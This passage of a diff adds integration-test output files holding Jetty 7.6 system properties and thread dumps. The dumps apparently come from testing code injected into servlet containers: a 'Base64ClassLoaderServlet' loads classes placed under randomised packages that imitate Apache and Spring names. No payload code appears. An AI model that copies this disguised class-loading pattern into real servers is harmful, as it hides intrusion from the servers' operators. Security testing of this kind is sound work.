java.util.TimerThread.mainLoop(Timer.java:509) + at java.util.TimerThread.run(Timer.java:462) + +"TransparentProxy-29" #29 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1e56fc16 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:196) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2025) + at org.eclipse.jetty.util.BlockingArrayQueue.poll(BlockingArrayQueue.java:337) + at org.eclipse.jetty.util.thread.QueuedThreadPool.idleJobPoll(QueuedThreadPool.java:516) + at org.eclipse.jetty.util.thread.QueuedThreadPool.access$600(QueuedThreadPool.java:39) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:562) + at java.lang.Thread.run(Thread.java:662) + +"TransparentProxy-31" #31 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1e56fc16 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:196) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2025) + at org.eclipse.jetty.util.BlockingArrayQueue.poll(BlockingArrayQueue.java:337) + at org.eclipse.jetty.util.thread.QueuedThreadPool.idleJobPoll(QueuedThreadPool.java:516) + at org.eclipse.jetty.util.thread.QueuedThreadPool.access$600(QueuedThreadPool.java:39) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:562) + at java.lang.Thread.run(Thread.java:662) + +"TransparentProxy-24 Selector0" #24 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:210) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:65) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:69) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:80) + at org.eclipse.jetty.io.nio.SelectorManager$SelectSet.doSelect(SelectorManager.java:560) + at org.eclipse.jetty.io.nio.SelectorManager$1.run(SelectorManager.java:277) + at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:598) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:533) + at java.lang.Thread.run(Thread.java:662) + +"qtp931322429-13" #13 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7275f5b7 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:196) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2025) + at org.eclipse.jetty.util.BlockingArrayQueue.poll(BlockingArrayQueue.java:337) + at org.eclipse.jetty.util.thread.QueuedThreadPool.idleJobPoll(QueuedThreadPool.java:516) + at org.eclipse.jetty.util.thread.QueuedThreadPool.access$600(QueuedThreadPool.java:39) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:562) + at java.lang.Thread.run(Thread.java:662) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@538eb7b8 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:118) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:134) + at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:171) + +"qtp931322429-16 Acceptor1 SelectChannelConnector@0.0.0.0:8080 STARTING" #16 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:150) + at org.eclipse.jetty.server.nio.SelectChannelConnector.accept(SelectChannelConnector.java:97) + at org.eclipse.jetty.server.AbstractConnector$Acceptor.run(AbstractConnector.java:833) + at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:598) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:533) + at java.lang.Thread.run(Thread.java:662) + +"qtp931322429-14 Selector1" #14 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:210) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:65) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:69) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:80) + at org.eclipse.jetty.io.nio.SelectorManager$SelectSet.doSelect(SelectorManager.java:560) + at org.eclipse.jetty.io.nio.SelectorManager$1.run(SelectorManager.java:277) + at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:598) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:533) + at java.lang.Thread.run(Thread.java:662) + +"TransparentProxy-25" #25 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1e56fc16 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:196) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2025) + at org.eclipse.jetty.util.BlockingArrayQueue.poll(BlockingArrayQueue.java:337) + at org.eclipse.jetty.util.thread.QueuedThreadPool.idleJobPoll(QueuedThreadPool.java:516) + at org.eclipse.jetty.util.thread.QueuedThreadPool.access$600(QueuedThreadPool.java:39) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:562) + at java.lang.Thread.run(Thread.java:662) + +"Scanner-0" #22 daemon [TIMED_WAITING] on java.util.TaskQueue@3ebfbbe3 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:509) + at java.util.TimerThread.run(Timer.java:462) + +"TransparentProxy-30" #30 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1e56fc16 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:196) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2025) + at org.eclipse.jetty.util.BlockingArrayQueue.poll(BlockingArrayQueue.java:337) + at org.eclipse.jetty.util.thread.QueuedThreadPool.idleJobPoll(QueuedThreadPool.java:516) + at org.eclipse.jetty.util.thread.QueuedThreadPool.access$600(QueuedThreadPool.java:39) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:562) + at java.lang.Thread.run(Thread.java:662) + +"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@1dc85444 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:485) + at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:116) + +"qtp931322429-17" #17 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7275f5b7 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:196) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2025) + at org.eclipse.jetty.util.BlockingArrayQueue.poll(BlockingArrayQueue.java:337) + at org.eclipse.jetty.util.thread.QueuedThreadPool.idleJobPoll(QueuedThreadPool.java:516) + at org.eclipse.jetty.util.thread.QueuedThreadPool.access$600(QueuedThreadPool.java:39) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:562) + at java.lang.Thread.run(Thread.java:662) + +"TransparentProxy-28" #28 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1e56fc16 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:196) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2025) + at org.eclipse.jetty.util.BlockingArrayQueue.poll(BlockingArrayQueue.java:337) + at org.eclipse.jetty.util.thread.QueuedThreadPool.idleJobPoll(QueuedThreadPool.java:516) + at org.eclipse.jetty.util.thread.QueuedThreadPool.access$600(QueuedThreadPool.java:39) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:562) + at java.lang.Thread.run(Thread.java:662) + +"qtp931322429-10 Acceptor0 SelectChannelConnector@0.0.0.0:8080 STARTING" #10 [BLOCKED] on java.lang.Object@4b144ba2 + java.lang.Thread.State: BLOCKED + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:134) + at org.eclipse.jetty.server.nio.SelectChannelConnector.accept(SelectChannelConnector.java:97) + at org.eclipse.jetty.server.AbstractConnector$Acceptor.run(AbstractConnector.java:833) + at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:598) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:533) + at java.lang.Thread.run(Thread.java:662) + +"TransparentProxy-27" #27 [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.eclipse.jetty.client.HttpClient$1.run(HttpClient.java:462) + at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:598) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:533) + at java.lang.Thread.run(Thread.java:662) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EmptyFilter +org.apache.commons.lang.OBAlD.ErrorHandler +org.eclipse.jetty.client.HttpClient$1 +org.eclipse.jetty.http.HttpParser +org.eclipse.jetty.io.UncheckedPrintWriter +org.eclipse.jetty.io.nio.SelectChannelEndPoint +org.eclipse.jetty.io.nio.SelectChannelEndPoint$1 +org.eclipse.jetty.io.nio.SelectorManager$1 +org.eclipse.jetty.io.nio.SelectorManager$SelectSet +org.eclipse.jetty.security.SecurityHandler +org.eclipse.jetty.server.AbstractConnector$Acceptor +org.eclipse.jetty.server.AsyncHttpConnection +org.eclipse.jetty.server.HttpConnection +org.eclipse.jetty.server.HttpConnection$RequestHandler +org.eclipse.jetty.server.Server +org.eclipse.jetty.server.handler.ContextHandler +org.eclipse.jetty.server.handler.ContextHandlerCollection +org.eclipse.jetty.server.handler.HandlerCollection +org.eclipse.jetty.server.handler.HandlerWrapper +org.eclipse.jetty.server.handler.ScopedHandler +org.eclipse.jetty.server.nio.SelectChannelConnector +org.eclipse.jetty.server.session.SessionHandler +org.eclipse.jetty.servlet.ServletHandler +org.eclipse.jetty.servlet.ServletHandler$CachedChain +org.eclipse.jetty.servlet.ServletHolder +org.eclipse.jetty.util.BlockingArrayQueue +org.eclipse.jetty.util.thread.QueuedThreadPool +org.eclipse.jetty.util.thread.QueuedThreadPool$3 diff --git a/integration-test/src/test/resources/infos/Jetty76ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Jetty76ContainerTestBasicInfo.txt new file mode 100644 index 00000000..a125dd7a --- /dev/null +++ b/integration-test/src/test/resources/infos/Jetty76ContainerTestBasicInfo.txt @@ -0,0 +1,370 @@ +# Generated At 2025-08-10 14:58:21 +SystemProps: +java.runtime.name: Java(TM) SE Runtime Environment +sun.boot.library.path: /opt/java/jdk1.6.0_45/jre/lib/amd64 +java.vm.version: 20.45-b01 +java.vm.vendor: Sun Microsystems Inc. +java.vendor.url: http://java.sun.com/ +path.separator: : +java.vm.name: Java HotSpot(TM) 64-Bit Server VM +file.encoding.pkg: sun.io +sun.java.launcher: SUN_STANDARD +user.country: US +sun.os.patch.level: unknown +java.vm.specification.name: Java Virtual Machine Specification +user.dir: /usr/local/jetty +java.runtime.version: 1.6.0_45-b06 +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +java.endorsed.dirs: /opt/java/jdk1.6.0_45/jre/lib/endorsed +os.arch: amd64 +java.io.tmpdir: /tmp +line.separator: + +java.vm.specification.vendor: Sun Microsystems Inc. +os.name: Linux +sun.jnu.encoding: ANSI_X3.4-1968 +java.library.path: /opt/java/jdk1.6.0_45/jre/lib/amd64/server:/opt/java/jdk1.6.0_45/jre/lib/amd64:/opt/java/jdk1.6.0_45/jre/../lib/amd64:/usr/java/packages/lib/amd64:/usr/lib64:/lib64:/lib:/usr/lib +java.specification.name: Java Platform API Specification +java.class.version: 50.0 +jetty.home: /usr/local/jetty +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +user.home: /root +user.timezone: UTC +java.awt.printerjob: sun.print.PSPrinterJob +file.encoding: ANSI_X3.4-1968 +java.specification.version: 1.6 +java.class.path: /usr/local/jetty/lib/jetty-xml-7.6.21.v20160908.jar:/usr/local/jetty/lib/servlet-api-2.5.jar:/usr/local/jetty/lib/jetty-http-7.6.21.v20160908.jar:/usr/local/jetty/lib/jetty-continuation-7.6.21.v20160908.jar:/usr/local/jetty/lib/jetty-server-7.6.21.v20160908.jar:/usr/local/jetty/lib/jetty-security-7.6.21.v20160908.jar:/usr/local/jetty/lib/jetty-servlet-7.6.21.v20160908.jar:/usr/local/jetty/lib/jetty-webapp-7.6.21.v20160908.jar:/usr/local/jetty/lib/jetty-deploy-7.6.21.v20160908.jar:/usr/local/jetty/lib/jetty-servlets-7.6.21.v20160908.jar:/usr/local/jetty/lib/jetty-jmx-7.6.21.v20160908.jar:/usr/local/jetty/lib/jsp/com.sun.el-1.0.0.v201105211818.jar:/usr/local/jetty/lib/jsp/javax.el-2.1.0.v201105211819.jar:/usr/local/jetty/lib/jsp/javax.servlet.jsp.jstl-1.2.0.v201105211821.jar:/usr/local/jetty/lib/jsp/javax.servlet.jsp-2.1.0.v201105211820.jar:/usr/local/jetty/lib/jsp/org.apache.jasper.glassfish-2.1.0.v201110031002.jar:/usr/local/jetty/lib/jsp/org.apache.taglibs.standard.glassfish-1.2.0.v201112081803.jar:/usr/local/jetty/lib/jsp/org.eclipse.jdt.core-3.7.1.jar:/usr/local/jetty/resources:/usr/local/jetty/lib/jetty-websocket-7.6.21.v20160908.jar:/usr/local/jetty/lib/jetty-util-7.6.21.v20160908.jar:/usr/local/jetty/lib/jetty-io-7.6.21.v20160908.jar +user.name: root +java.vm.specification.version: 1.0 +sun.java.command: /usr/local/jetty/start.jar +java.home: /opt/java/jdk1.6.0_45/jre +sun.arch.data.model: 64 +user.language: en +java.specification.vendor: Sun Microsystems Inc. +java.vm.info: mixed mode +java.version: 1.6.0_45 +java.ext.dirs: /opt/java/jdk1.6.0_45/jre/lib/ext:/usr/java/packages/lib/ext +sun.boot.class.path: /opt/java/jdk1.6.0_45/jre/lib/resources.jar:/opt/java/jdk1.6.0_45/jre/lib/rt.jar:/opt/java/jdk1.6.0_45/jre/lib/sunrsasign.jar:/opt/java/jdk1.6.0_45/jre/lib/jsse.jar:/opt/java/jdk1.6.0_45/jre/lib/jce.jar:/opt/java/jdk1.6.0_45/jre/lib/charsets.jar:/opt/java/jdk1.6.0_45/jre/lib/modules/jdk.boot.jar:/opt/java/jdk1.6.0_45/jre/classes +java.vendor: Sun Microsystems Inc. +file.separator: / +java.vendor.url.bug: http://java.sun.com/cgi-bin/bugreport.cgi +sun.io.unicode.encoding: UnicodeLittle +sun.cpu.endian: little +sun.cpu.isalist: + +=========================================== + +ThreadStacks: +"TransparentProxy-26 Selector0" #26 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:210) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:65) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:69) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:80) + at org.eclipse.jetty.io.nio.SelectorManager$SelectSet.doSelect(SelectorManager.java:569) + at org.eclipse.jetty.io.nio.SelectorManager$1.run(SelectorManager.java:290) + at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:608) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:543) + at java.lang.Thread.run(Thread.java:662) + +"qtp163638423-14" #14 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@387b1641 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:196) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2025) + at org.eclipse.jetty.util.BlockingArrayQueue.poll(BlockingArrayQueue.java:342) + at org.eclipse.jetty.util.thread.QueuedThreadPool.idleJobPoll(QueuedThreadPool.java:526) + at org.eclipse.jetty.util.thread.QueuedThreadPool.access$600(QueuedThreadPool.java:44) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:572) + at java.lang.Thread.run(Thread.java:662) + +"qtp163638423-13" #13 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@387b1641 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:196) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2025) + at org.eclipse.jetty.util.BlockingArrayQueue.poll(BlockingArrayQueue.java:342) + at org.eclipse.jetty.util.thread.QueuedThreadPool.idleJobPoll(QueuedThreadPool.java:526) + at org.eclipse.jetty.util.thread.QueuedThreadPool.access$600(QueuedThreadPool.java:44) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:572) + at java.lang.Thread.run(Thread.java:662) + +"HashSessionScavenger-2" #24 daemon [TIMED_WAITING] on java.util.TaskQueue@18f2225f + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:509) + at java.util.TimerThread.run(Timer.java:462) + +"qtp163638423-12" #12 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@387b1641 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:196) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2025) + at org.eclipse.jetty.util.BlockingArrayQueue.poll(BlockingArrayQueue.java:342) + at org.eclipse.jetty.util.thread.QueuedThreadPool.idleJobPoll(QueuedThreadPool.java:526) + at org.eclipse.jetty.util.thread.QueuedThreadPool.access$600(QueuedThreadPool.java:44) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:572) + at java.lang.Thread.run(Thread.java:662) + +"DestroyJavaVM" #35 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"qtp163638423-15" #15 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@387b1641 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:196) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2025) + at org.eclipse.jetty.util.BlockingArrayQueue.poll(BlockingArrayQueue.java:342) + at org.eclipse.jetty.util.thread.QueuedThreadPool.idleJobPoll(QueuedThreadPool.java:526) + at org.eclipse.jetty.util.thread.QueuedThreadPool.access$600(QueuedThreadPool.java:44) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:572) + at java.lang.Thread.run(Thread.java:662) + +"HashSessionScavenger-1" #22 daemon [TIMED_WAITING] on java.util.TaskQueue@40ae97c4 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:509) + at java.util.TimerThread.run(Timer.java:462) + +"Scanner-1" #34 daemon [TIMED_WAITING] on java.util.TaskQueue@66de609 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:509) + at java.util.TimerThread.run(Timer.java:462) + +"TransparentProxy-29" #29 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@19195c2b + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:196) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2025) + at org.eclipse.jetty.util.BlockingArrayQueue.poll(BlockingArrayQueue.java:342) + at org.eclipse.jetty.util.thread.QueuedThreadPool.idleJobPoll(QueuedThreadPool.java:526) + at org.eclipse.jetty.util.thread.QueuedThreadPool.access$600(QueuedThreadPool.java:44) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:572) + at java.lang.Thread.run(Thread.java:662) + +"Scanner-0" #23 daemon [TIMED_WAITING] on java.util.TaskQueue@4ff217ec + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:509) + at java.util.TimerThread.run(Timer.java:462) + +"TransparentProxy-33" #33 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@19195c2b + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:196) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2025) + at org.eclipse.jetty.util.BlockingArrayQueue.poll(BlockingArrayQueue.java:342) + at org.eclipse.jetty.util.thread.QueuedThreadPool.idleJobPoll(QueuedThreadPool.java:526) + at org.eclipse.jetty.util.thread.QueuedThreadPool.access$600(QueuedThreadPool.java:44) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:572) + at java.lang.Thread.run(Thread.java:662) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@1f00aff5 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:118) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:134) + at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:171) + +"qtp163638423-19 Selector1" #19 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:210) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:65) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:69) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:80) + at org.eclipse.jetty.io.nio.SelectorManager$SelectSet.doSelect(SelectorManager.java:569) + at org.eclipse.jetty.io.nio.SelectorManager$1.run(SelectorManager.java:290) + at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:608) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:543) + at java.lang.Thread.run(Thread.java:662) + +"TransparentProxy-31" #31 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@19195c2b + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:196) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2025) + at org.eclipse.jetty.util.BlockingArrayQueue.poll(BlockingArrayQueue.java:342) + at org.eclipse.jetty.util.thread.QueuedThreadPool.idleJobPoll(QueuedThreadPool.java:526) + at org.eclipse.jetty.util.thread.QueuedThreadPool.access$600(QueuedThreadPool.java:44) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:572) + at java.lang.Thread.run(Thread.java:662) + +"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@66200db9 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:485) + at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:116) + +"qtp163638423-16" #16 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Thread.dumpThreads(Native Method) + at java.lang.Thread.getAllStackTraces(Thread.java:1530) + at org.springframework.jJIwU.ErrorHandler.toString(BasicInfoPrinter.java:26) + at java.lang.String.valueOf(String.java:2826) + at java.io.PrintWriter.print(PrintWriter.java:573) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at org.eclipse.jetty.servlet.ServletHolder.handle(ServletHolder.java:652) + at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1317) + at EmptyFilter.doFilter(EmptyFilter.java:21) + at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1288) + at org.eclipse.jetty.servlet.ServletHandler.doHandle(ServletHandler.java:443) + at org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:137) + at org.eclipse.jetty.security.SecurityHandler.handle(SecurityHandler.java:532) + at org.eclipse.jetty.server.session.SessionHandler.doHandle(SessionHandler.java:227) + at org.eclipse.jetty.server.handler.ContextHandler.doHandle(ContextHandler.java:1044) + at org.eclipse.jetty.servlet.ServletHandler.doScope(ServletHandler.java:372) + at org.eclipse.jetty.server.session.SessionHandler.doScope(SessionHandler.java:189) + at org.eclipse.jetty.server.handler.ContextHandler.doScope(ContextHandler.java:978) + at org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:135) + at org.eclipse.jetty.server.handler.ContextHandlerCollection.handle(ContextHandlerCollection.java:255) + at org.eclipse.jetty.server.handler.HandlerCollection.handle(HandlerCollection.java:154) + at org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:116) + at org.eclipse.jetty.server.Server.handle(Server.java:369) + at org.eclipse.jetty.server.AbstractHttpConnection.handleRequest(AbstractHttpConnection.java:464) + at org.eclipse.jetty.server.AbstractHttpConnection.content(AbstractHttpConnection.java:924) + at org.eclipse.jetty.server.AbstractHttpConnection$RequestHandler.content(AbstractHttpConnection.java:985) + at org.eclipse.jetty.http.HttpParser.parseNext(HttpParser.java:861) + at org.eclipse.jetty.http.HttpParser.parseAvailable(HttpParser.java:236) + at org.eclipse.jetty.server.AsyncHttpConnection.handle(AsyncHttpConnection.java:82) + at org.eclipse.jetty.io.nio.SelectChannelEndPoint.handle(SelectChannelEndPoint.java:667) + at org.eclipse.jetty.io.nio.SelectChannelEndPoint$1.run(SelectChannelEndPoint.java:52) + at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:608) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:543) + at java.lang.Thread.run(Thread.java:662) + +"TransparentProxy-30" #30 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@19195c2b + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:196) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2025) + at org.eclipse.jetty.util.BlockingArrayQueue.poll(BlockingArrayQueue.java:342) + at org.eclipse.jetty.util.thread.QueuedThreadPool.idleJobPoll(QueuedThreadPool.java:526) + at org.eclipse.jetty.util.thread.QueuedThreadPool.access$600(QueuedThreadPool.java:44) + at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:572) + at java.lang.Thread.run(Thread.java:662) + +"HashSessionScavenger-0" #20 daemon [TIMED_WAITING] on java.util.TaskQueue@42652110 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:509) + at java.util.TimerThread.run(Timer.java:462) + +"qtp163638423-11" #11 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@387b1641 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:196) + at 